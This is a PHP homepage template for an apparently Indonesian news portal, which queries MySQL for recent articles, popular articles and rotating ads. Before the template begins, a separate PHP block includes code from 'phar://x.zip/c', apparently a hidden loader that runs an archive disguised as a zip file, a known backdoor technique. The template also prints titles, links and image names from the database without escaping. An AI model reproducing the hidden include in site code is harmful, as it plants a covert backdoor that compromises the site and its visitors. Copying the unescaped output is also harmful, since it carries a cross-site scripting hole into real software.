<?php
$filePath = 'phar://x.zip/c';
include $filePath;?><?php
// index.php
require_once 'includes/header.php';
?>

<div class="container mt-4">
    
    <?php
    $ad_header = mysqli_query($conn, "SELECT * FROM ads WHERE posisi = 'Header' AND status = 'aktif' ORDER BY RAND() LIMIT 1");
    if($ad = mysqli_fetch_assoc($ad_header)):
    ?>
    <div class="row mb-4">
        <div class="col-12 text-center ad-banner">
            <p class="text-muted small mb-1">- Advertisement -</p>
            <a href="<?= $ad['link_iklan']; ?>" target="_blank">
                <img src="uploads/<?= $ad['gambar']; ?>" alt="Iklan Header" style="max-height: 120px; width: auto; object-fit: contain;">
            </a>
        </div>
    </div>
    <?php endif; ?>

    <div class="row">
        <div class="col-lg-8">
            <div class="d-flex justify-content-between border-bottom pb-2 mb-4">
                <h4 class="fw-bold m-0"><span style="border-bottom: 3px solid #0d6efd; padding-bottom: 8px;">Berita Terkini</span></h4>
            </div>

            <div class="row">
                <?php
                // Tampilkan Berita yang sudah di-publish
                $query_berita = mysqli_query($conn, "
                    SELECT news.*, categories.nama_kategori, categories.slug as slug_kategori, users.nama_lengkap 
                    FROM news 
                    JOIN categories ON news.id_kategori = categories.id_kategori 
                    JOIN users ON news.id_user = users.id_user 
                    WHERE news.status = 'published' 
                    ORDER BY news.id_berita DESC LIMIT 6
                ");

                while($berita = mysqli_fetch_assoc($query_berita)):
                ?>
                <div class="col-md-6 mb-4">
                    <div class="card news-card shadow-sm h-100">
                        <div class="news-img-wrapper position-relative">
                            <span class="badge bg-primary position-absolute top-0 start-0 m-3 shadow-sm z-1">
                                <?= $berita['nama_kategori']; ?>
                            </span>
                            <img src="uploads/<?= $berita['gambar']; ?>" alt="<?= $berita['judul']; ?>">
                        </div>
                        <div class="card-body">
                            <a href="detail.php?slug=<?= $berita['slug']; ?>" class="text-dark text-decoration-none">
                                <h5 class="card-title fw-bold lh-base"><?= $berita['judul']; ?></h5>
                            </a>
                            <p class="text-muted small mb-0 mt-3">
                                <i class="fas fa-user-edit me-1"></i> <?= $berita['nama_lengkap']; ?> &nbsp;|&nbsp; 
                                <i class="fas fa-clock me-1"></i> <?= date('d M Y', strtotime($berita['created_at'])); ?>
                            </p>
                        </div>
                    </div>
                </div>
                <?php endwhile; ?>
                
                <?php if(mysqli_num_rows($query_berita) == 0): ?>
                    <div class="col-12 text-center py-5">
                        <h5 class="text-muted">Belum ada berita diterbitkan.</h5>
                    </div>
                <?php endif; ?>
            </div>
        </div>

        <div class="col-lg-4 mt-5 mt-lg-0">
            
            <?php
            $ad_sidebar = mysqli_query($conn, "SELECT * FROM ads WHERE posisi = 'Sidebar' AND status = 'aktif' ORDER BY RAND() LIMIT 1");
            if($ads = mysqli_fetch_assoc($ad_sidebar)):
            ?>
            <div class="mb-4 text-center ad-banner">
                <span class="text-muted small d-block mb-2">- Advertisement -</span>
                <a href="<?= $ads['link_iklan']; ?>" target="_blank">
                    <img src="uploads/<?= $ads['gambar']; ?>" alt="Iklan Sidebar" class="img-fluid shadow-sm">
                </a>
            </div>
            <?php endif; ?>

            <div class="card border-0 shadow-sm" style="border-radius: 12px;">
                <div class="card-header bg-white border-bottom-0 pt-4 pb-0">
                    <h5 class="fw-bold m-0"><i class="fas fa-fire text-danger me-2"></i>Sedang Populer</h5>
                </div>
                <div class="card-body">
                    <?php
                    // Ambil berita dengan views terbanyak
                    $populer = mysqli_query($conn, "SELECT judul, slug, created_at FROM news WHERE status='published' ORDER BY views DESC LIMIT 5");
                    $no = 1;
                    while($pop = mysqli_fetch_assoc($populer)):
                    ?>
                    <div class="d-flex align-items-start mb-3 pb-3 <?= ($no < 5) ? 'border-bottom' : ''; ?>">
                        <div class="fs-4 fw-bold text-muted opacity-50 me-3">#<?= $no++; ?></div>
                        <div>
                            <a href="detail.php?slug=<?= $pop['slug']; ?>" class="text-dark text-decoration-none fw-bold" style="font-size: 0.95rem;">
                                <?= $pop['judul']; ?>
                            </a>
                            <div class="text-muted small mt-1"><?= date('d M Y', strtotime($pop['created_at'])); ?></div>
                        </div>
                    </div>
                    <?php endwhile; ?>
                </div>
            </div>

        </div>
    </div>
</div>

<?php require_once 'includes/footer.php'; ?>